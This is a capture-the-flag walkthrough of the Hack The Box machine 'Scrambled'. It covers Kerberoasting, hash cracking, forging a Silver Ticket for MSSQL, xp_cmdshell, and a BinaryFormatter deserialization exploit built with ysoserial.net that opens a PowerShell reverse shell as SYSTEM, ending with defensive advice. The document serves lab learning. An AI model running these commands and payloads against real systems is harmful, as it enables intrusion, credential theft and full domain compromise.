walkthroughs

HTB Scrambled Walkthrough: Silver Ticket and .NET Deserialization

HTB Scrambled Walkthrough: Silver Ticket and .NET Deserialization

HTB Scrambled Writeup: Kerberoasting, Silver Ticket on MSSQL and RCE via BinaryFormatter insecure deserialization. Static analysis with dnSpy and ysoserial.net

  • Posted on 2026-06-05
  • Reading time: 10 min

Scrambled is a Windows machine/VM from HTB (Hack The Box) that completely disables NTLM and forces Kerberos authentication on everything. This breaks most standard tools—nxc, smbmap, impacket with incorrect flags—if you don't understand how Kerberos works at a low level. The final part is an insecure deserialization via BinaryFormatter on a custom .NET service, statically analyzed with dnSpy.

DifficultyMedium
OSWindows
ThemeKerberos-only, Kerberoasting, Silver Ticket, MSSQL, Insecure Deserialization, BinaryFormatter, ysoserial.net

-– This breaks most standard tools—nxc, smbmap, impacket with incorrect flags—if you don't understand how Kerberos works at a low level. The final part is an insecure deserialization via BinaryFormatter on a custom .NET service, statically analyzed with dnSpy.


Phase 1 – Enumeration #

bash
sudo mynmap 10.129.8.212

mynmap is a custom wrapper for nmap designed for CTFs: it automatically performs four phases in sequence: fast TCP discovery, scripted service/OS detection, vulnerability checks on common ports, and a UDP scan of the most relevant candidates. All in one command, without missing a beat. Output:

text
[*] PHASE 1: Fast TCP port discovery...
[+] TCP ports found: 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389,...

[*] PHASE 2: Service and OS detection...
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
80/tcp   open  http         Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec Microsoft Windows Kerberos
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: scrm.local)
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s     Microsoft SQL Server 2019 RTM
4411/tcp open  found?       SCRAMBLECORP_ORDERS_V1.0.3;
5985/tcp open  http         Microsoft HTTPAPI (WinRM)

[*] PHASE 4: Smart UDP scan...
[+] UDP confermati OPEN: 53,88,123,389

Relevant ports:

  • 88 – Kerberos → we are on a DC
  • 389/636 – LDAP/LDAPS
  • 445 – SMB (responds but without NTLM, as we will see)
  • 1433 – MSSQL
  • 5985 – WinRM → remote access possible if we find credentials
  • 4411 – unknown service, text banner SCRAMBLECORP_ORDERS_V1.0.3;

/ Etc / hosts #

text
10.129.8.212 scrm.local DC1.scrm.local

krb5.conf #

this
[libdefaults]
default_realm = SCRM.LOCAL

[realms]
SCRM.LOCAL = {
    kdc = DC1.scrm.local
}

[domain_realm]
.scrm.local = SCRM.LOCAL
scrm.local = SCRM.LOCAL

Phase 2 – Reconnaissance and first access #

4411 port #

First thing: Connect to unknown port.

bash
nc -nv 10.129.8.212 4411

Answer: SCRAMBLECORP_ORDERS_V1.0.3;

Custom text service. Without knowing the commands, we try to enumerate them using ffuf and fuzzing techniques—no useful results. It turns out that valid commands can't be guessed randomly: code analysis is needed. We'll leave it aside for now.

Website – port 80 #

Browsing the company website it emerges:

  • NTLM has been disabled due to a previous NTLM relay attack.
  • The password reset policy requires that the new password be the same as the username.
  • In a screenshot of the IT Support section you can see the path C:\Users\ksimpson> — username found
  • Page /salesorders.html describes the Sales Order Client application and explicitly mentions port 4411 and an “Enable debug logging” option — the first concrete clue as to what is running on that port

We are trying ksimpson:ksimpson via Kerberos:

bash
kinit ksimpson@SCRM.LOCAL
# password: ksimpson
klist

TGT obtained. SMB is listed:

bash
nxc smb 10.129.8.212 -u ksimpson -p ksimpson -k --shares

Output:

text
SMB  10.129.8.212  445  DC1  ADMIN$          Remote Admin
SMB  10.129.8.212  445  DC1  C$              Default share
SMB  10.129.8.212  445  DC1  HR              
SMB  10.129.8.212  445  DC1  IPC$    READ    Remote IPC
SMB  10.129.8.212  445  DC1  IT              
SMB  10.129.8.212  445  DC1  NETLOGON READ   Logon server share
SMB  10.129.8.212  445  DC1  Public  READ    
SMB  10.129.8.212  445  DC1  Sales           
SMB  10.129.8.212  445  DC1  SYSVOL  READ    Logon server share

ksimpson read only Public. Inside there is a PDF — Network Security Changes.pdf — which confirms:

  • NTLM disabled on the entire network
  • SQL access removed for all except network administrators

Phase 3 – Kerberoasting #

The PDF mentions a compromised SQL database. It looks for accounts with SPNs associated with MSSQL:

bash
GetUserSPNs.py scrm.local/ksimpson:ksimpson \
  -request -dc-host DC1.scrm.local -k -no-pass

Note: if you use -dc-host (FQDN) and not -dc-ip, because with NTLM disabled, impacket must construct the SPN from the hostname. With IP, it fails.

You get TGS hash for sqlsvc (SPN: MSSQLSvc/DC1.scrm.local:1433).

Crack with hashcat (mode 13100, hashcat guide for password cracking ):

bash
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

Result: sqlsvc:Pegasus60


Phase 4 – Silver Ticket #

As the PDF says: only network admins have access to SQL. sqlsvc is the service account that performs MSSQL — It doesn't necessarily have a SQL login configured. And it doesn't.

The solution is a Silver Tickets: directly forge a TGS for MSSQL service by impersonating Administrator, without involving the KDC. The ticket is encrypted with the service account key—and we have that hash.

Difference between TGT and Silver Ticket #

  • TGT: You get it from the KDC with your credentials. It's the starting point for requesting service tickets.
  • Silver Tickets: Forge a TGS for a specific service directly, using the NT hash of the service account. No requests to the KDC. Invisible to DC logs.

Necessary ingredients #

  • NT Hash of sqlsvc → b999a16500b87d17ec7f2e2a68778f05 (derived from Pegasus60)
  • Domain SID
  • Service SPN

Obtaining the Domain SID #

bash
getPac.py -targetUser administrator scrm.local/ksimpson:ksimpson
# Domain SID: S-1-5-21-2743207045-1827831105-2542523200

Forge the ticket #

bash
ticketer.py \
  -nthash b999a16500b87d17ec7f2e2a68778f05 \
  -domain-sid S-1-5-21-2743207045-1827831105-2542523200 \
  -domain scrm.local \
  -spn MSSQLSvc/DC1.scrm.local:1433 \
  Administrator
bash
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -no-pass -k DC1.scrm.local -target-ip 10.129.8.212

Login as SCRM\administrator on MSSQL.


Phase 5 – MSSQL Enumeration #

sql
SELECT name FROM sys.databases;
-- ScrambleHR

USE ScrambleHR;
SELECT name FROM sys.tables;
-- Employees, UserImport, Timesheets

SELECT * FROM UserImport;

Clear credentials in the table UserImport:

text
MiscSvc : ScrambledEggs9900

Shell via xp_cmdshell #

sql
enable_xp_cmdshell
xp_cmdshell "whoami"
-- scrm\sqlsvc

You get a reverse shell like sqlsvc via PowerShell payload in base64. The shell runs with privileges sqlsvc — service account, no useful elevated privileges. Nothing interesting from here.


Step 6 – Login as miscsvc #

With the credentials found in MSSQL you can log in via WinRM Kerberos:

bash
kinit miscsvc@SCRM.LOCAL
# password: ScrambledEggs9900

export KRB5CCNAME=/tmp/krb5cc_1000
evil-winrm -i DC1.scrm.local -r SCRM.LOCAL

Shell as scrm\miscsvc. user.txt is located on the desktop.


Phase 6b – BloodHound CE #

Before proceeding, launch BloodHound CE to map the domain and look for privilege escalation paths:

bash
bloodhound-ce-python -d scrm.local -u 'sqlsvc' -p 'Pegasus60' \
  -ns 10.129.8.212 -dc DC1.scrm.local -c all --zip \
  -k --disable-autogc --dns-tcp --use-ldaps

Repeated also with ksimpson e miscsvc. No interesting paths — no abusive ACLs, no delegations, no directly reachable DAs for any of the three users.

At this point it is clear that the path does not pass through AD but through the custom application listening on the 4411. We go to dnSpy.


Step 7 – Static Analysis with dnSpy #

In the share IT (accessible as miscsvc) are found ScrambleClient.exe e ScrambleLib.dll in Apps\Sales Order Client.

The DLL is analyzed with dnSpy , a .NET assembly decompiler that converts the binary into readable C# code.

How to navigate dnSpy #

In Assembly Explorer, expand ScrambleLib — custom classes. Ignore everything else (ScrambleLib.My, Type References, etc.) — autogenerated VB.NET boilerplate, not interesting.

Basic Rules for Reading Hacking Code #

You don't need to understand everything—you just need to find the path from the external input to the dangerous function.

  • Input from outside — what comes from the network, from parameters, from files
  • Dangerous functions Deserialize, Execute, Process.Start, eval
  • Credential comparisons string.Compare, == on username/password
  • The rest is support code — ignore it.

Rule of thumb for ethical hackers: You don't need to understand all the code—you need to find the path from the input to the malicious function.


ScrambleNetShared – the protocol #

First class to open. Contains only constants:

csharp
public const string CODE_LOGON = "LOGON";
public const string CODE_UPLOAD_ORDER = "UPLOAD_ORDER";
public const string CODE_LIST_ORDERS = "LIST_ORDERS";
public const string CODE_QUIT = "QUIT";
public const char MessagePartSeparator = ';';
public const char ContentListSeparator = '|';
public const int ServerPort = 4411;

public const = public variable with a fixed value that never changes.

This class gives us the complete protocol—the commands, the separators, the port. Everything we saw when connecting with nc it was defined here.


ScrambleNetClient.Logon – developer backdoor #

csharp
// dentro la classe ScrambleNetClient
public bool Logon(string Username, string Password)
{
    if (string.Compare(Username, "scrmdev", true) == 0)
    {
        Log.Write("Developer logon bypass used");
        result = true;  // ← ritorna true senza verificare nulla
    }
}

string.Compare(Username, "scrmdev", true) compare username with string "scrmdev" ignoring upper/lower case.

If it matches → return true directly, without sending anything to the server. The password is completely ignored.

This bypass exists only in the client — the server knows nothing about it. scrmdev.


SalesOrder – the serializable class #

csharp
[Serializable]  // ← permesso di serializzazione
public class SalesOrder
{
    public string ReferenceNumber { get; set; }
    public string QuoteReference { get; set; }
    public string SalesRep { get; set; }
    public List<string> OrderItems { get; set; }
    public DateTime DueDate { get; set; }
    public double TotalCost { get; set; }
}

[Serializable] is an attribute — it tells .NET “this class can be serialized/deserialized.” Without it BinaryFormatter refuses to touch her.

The fields are just data: text, list, date, number. Nothing executable—that's not the vulnerability.


SalesOrder.DeserializeFromBase64 – the weak point #

csharp
// dentro la classe SalesOrder
public static SalesOrder DeserializeFromBase64(string Base64)
{
    byte[] buffer = Convert.FromBase64String(Base64);
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    using (MemoryStream memoryStream = new MemoryStream(buffer))
    {
        result = (SalesOrder)binaryFormatter.Deserialize(memoryStream);
    }
}

Line by line from ethical hacker:

Convert.FromBase64String(Base64) — converts the base64 payload we sent into bytes. Those bytes end up in buffer.

new BinaryFormatter() —creates the deserializer. It doesn't do anything by itself—it's the line after that that matters.

binaryFormatter.Deserialize(memoryStream) —this is where it all starts. It takes the bytes of our payload and executes them without checking their contents.

(SalesOrder) — the cast, happens after deserialization. If the object is not a SalesOrder → error. But our code has already been executed before.


How the message is constructed #

csharp
// dentro ScrambleNetClient
string text = ScrambleNetRequest.GetCodeFromMessageType(Request.Type) + ";" + Request.Parameter + "\n";
streamWriter.Write(text);

The client builds the message by chaining command + ; + parameter. This explains why we were sending UPLOAD_ORDER;base64payload.


Full flow from input to RCE #

text
nc manda → UPLOAD_ORDER;AAEAAAD...base64payload

↓ server splitta sul ;

array[1] = "AAEAAAD...base64payload"  ← nostro input

↓

Convert.FromBase64String → bytes in buffer

↓

binaryFormatter.Deserialize(buffer)  ← codice eseguito qui

↓

(SalesOrder) cast → ERROR_GENERAL  ← ma è già troppo tardi

↓

shell come nt authority\system

Phase 8 – Insecure Deserialization: theory #

What is serialization — a complete explanation #

Imagine having an object in memory: a sales order with a reference number, date, and amount. That data exists only in RAM as long as the program is running.

Serializing means turning that object into a sequence of bytes — so you can save it to disk, send it over the network, or pass it to another application.

Deserializing is the opposite: taking those bytes and reconstructing the original object in memory.

Concrete example in C#:

csharp
// L'app crea un ordine
SalesOrder order = new SalesOrder();
order.ReferenceNumber = "ORD-001";
order.TotalCost = 1500.00;

// Lo serializza in bytes → base64 per mandarlo in rete
BinaryFormatter bf = new BinaryFormatter();
MemoryStream ms = new MemoryStream();
bf.Serialize(ms, order);
string payload = Convert.ToBase64String(ms.ToArray());
// payload = "AAEAAAD/////AQAAAA..." (stringa base64)

// Il server riceve la stringa, la decodifica e ricostruisce l'oggetto
byte[] buffer = Convert.FromBase64String(payload);
SalesOrder ricevuto = (SalesOrder)bf.Deserialize(new MemoryStream(buffer));
// ricevuto.ReferenceNumber == "ORD-001" ✓

So far, so good. The problem arises when the server doesn't check what it's receiving.


Where is the vulnerability? #

BinaryFormatter It's blind. When it receives bytes, it executes them faithfully—it doesn't ask questions, it doesn't check the type, it doesn't validate anything. It reconstructs whatever object is encoded in those bytes.

The critical point is this: in .NET, some objects execute code automatically during their construction . There are classes that call system operations in their constructor or initialization methods—opening files, starting processes, making network calls.

If you build such an object and serialize it in the correct format, when BinaryFormatter deserializes it and executes that code — before the program can even check “wait, this is not a SalesOrder.”

Normal flow:

text
Client manda: bytes[SalesOrder legittimo]
Server fa:    bf.Deserialize(bytes) → SalesOrder ✓
              cast a SalesOrder ✓
              usa i dati dell'ordine ✓

Flow with exploit:

text
Attaccante manda: bytes[oggetto malevolo con cmd.exe incorporato]
Server fa:        bf.Deserialize(bytes) → ricostruisce l'oggetto
                  → durante la ricostruzione: cmd.exe viene eseguito ← RCE
                  cast a SalesOrder ✗ → ERROR_GENERAL

The cast fails, then the server responds with ERROR_GENERALBut the command has already been executed—the shell is already open on the listener. That's why we see the error in this box, but the connection still arrives.


What is a gadget chain? #

Classes that, when deserialized, execute arbitrary code are called gadgets . They're not malware—they're regular .NET Framework, WPF, and PowerShell classes. They do legitimate things, but if constructed correctly, they become exploit vectors.

A gadget chain is a sequence of these objects linked together, where each triggers the next, until the desired command is finally executed.

Most common gadgets for BinaryFormatter:

GadgetHow it works
TextFormattingRunPropertiesContains internal XAML that is parsed during deserialization, and that XAML invokes Process.Start
WindowsIdentityAbuses the Windows authentication mechanism to invoke code
TypeConfuseDelegateConfuses the type system to execute an arbitrary delegate
PSObjectLeverages the PowerShell engine — requires PowerShell installed

Each gadget works only if the DLLs it uses are loaded in the target process. For this reason, multiple gadgets are tested until one works.


ysoserial.net — how it works #

ysoserial.net is a tool that does just one thing: given a command to execute, it generates serialized bytes in the correct format to trigger a specific gadget.

You don't have to build the payload by hand — it handles all the complexity of .NET serialization.

Main parameters:

text
-f  → formatter: come sono serializzati i dati nell'app target
      (BinaryFormatter, SoapFormatter, Json.Net, XmlSerializer, ...)

-g  → gadget: quale classe .NET abusare
      (TextFormattingRunProperties, WindowsIdentity, PSObject, ...)

-o  → output format: raw, base64, hex
      (base64 per mandarlo come testo su rete)

-c  → command: il comando da eseguire sul sistema target

-t  → test: esegui il payload localmente per verificare che funzioni

Example — Local test to verify the gadget (opens calc.exe):

cmd
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o base64 -c "calc.exe" -t

Output: base64 string + calc.exe opens on local machine → working gadget.

Example — verification ping to Kali (to confirm RCE before shell):

cmd
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o base64 -c "ping -n 1 10.10.14.x"

On Kali he listens:

bash
tcpdump -i tun0 icmp

If the ping → RCE confirmed arrives, the shell can be sent.

Example — PowerShell reverse shell:

cmd
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o base64 -c "powershell -e <BASE64_REVSHELL>"

The generated payload is a long base64 string containing serialized .NET objects — ready to be inserted into the command UPLOAD_ORDER; of the custom protocol.


Phase 9 – Exploit #

Generate the payload #

ysoserial.net takes four basic parameters:

  • -f → formatter: the serialization mechanism used by the target app (BinaryFormatter in this case)
  • -g → gadget: the .NET class to abuse
  • -o → output format: base64 to send it as text
  • -c → command: the command to execute
cmd
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o base64 ^
  -c "powershell -e <BASE64_REVSHELL>"

Gadget used: TextFormattingRunProperties — among the most compact available for BinaryFormatter, does not depend on specific CVEs.

First attempt error: with the gadget PSObject we obtained:

text
ERROR_GENERAL;Error deserializing sales order: Unable to cast object of type
'System.Management.Automation.PSObject' to type 'ScrambleLib.SalesOrder'

The cast fails — but the code had already been executed. The problem was that PSObject he was not behaving correctly in this context. TextFormattingRunProperties solves the problem.

listener #

bash
nc -lvnp 80

Sending the payload #

The server does not require authentication to receive orders — LOGON It is a control implemented only in the client, not in the server. You can send UPLOAD_ORDER directly without logging in:

bash
nc 10.129.8.212 4411
UPLOAD_ORDER;<payload_base64>

Note on debug log: by enabling logging in the app (Tools > Enable Debug Logging) is created ScrambleDebugLog.txt in the same folder as the .exe. The file shows the exact command format and line Binary formatter init successful — direct confirmation that the server uses BinaryFormatter for deserialization.

Output from server:

text
ERROR_GENERAL;Error deserializing sales order: Exception has been thrown
by the target of an invocation.

The error is expected. The cast at SalesOrder fails — but the malicious code has already been executed during deserialization.

On the listener:

text
connect to [10.10.14.x] from (UNKNOWN) [10.129.8.212]
whoami
nt authority\system
PS C:\Windows\system32>

root.txt It is located in the Administrator desktop.


Errors made during resolution #

1. Use -dc-ip instead of -dc-host for GetUserSPNs
With NTLM disabled, impacket must construct the SPN from the FQDN. The IP is not enough.

2. Confusing TGT and Silver Ticket
kinit gives a TGT. The Silver Ticket is a locally forged TGS with ticketer.py — no requests to the KDC, no logs on the DC.

3. KRB5CCNAME not re-exported
When you open a new terminal, the variable disappears. It must be re-exported after each kinit o kdestroy.

4. Wrong gadget
PSObject ran the code but the cast failed before the shell opened. TextFormattingRunProperties It's the right gadget for this scenario.

5. nxc mssql with NTLM disabled
The nxc mssql module always does an initial NTLM discovery before authenticating, even with -kWith NTLM disabled it crashes. Solution: use directly mssqlclient.py with -target-ip to separate hostname from IP.


DEFENSE #

  • Do not use BinaryFormatter — deprecated and unsafe by design. Alternatives: System.Text.Json, protobuf-net, MessagePack
  • Do not deserialize user input without cryptographic signature and whitelist of accepted types
  • Monitor event ID 4769 with encryption type 0x17 (RC4) on privileged accounts: Silver Ticket does not generate TGT, so absence of 4768 before 4769 is a sign
  • Regularly rotate Kerberoastable service account passwords
  • Add sensitive accounts to the Protected Users group
#htb-scrambled #hack-the-box-scrambled-walktrough

leave a message

I'm not a robot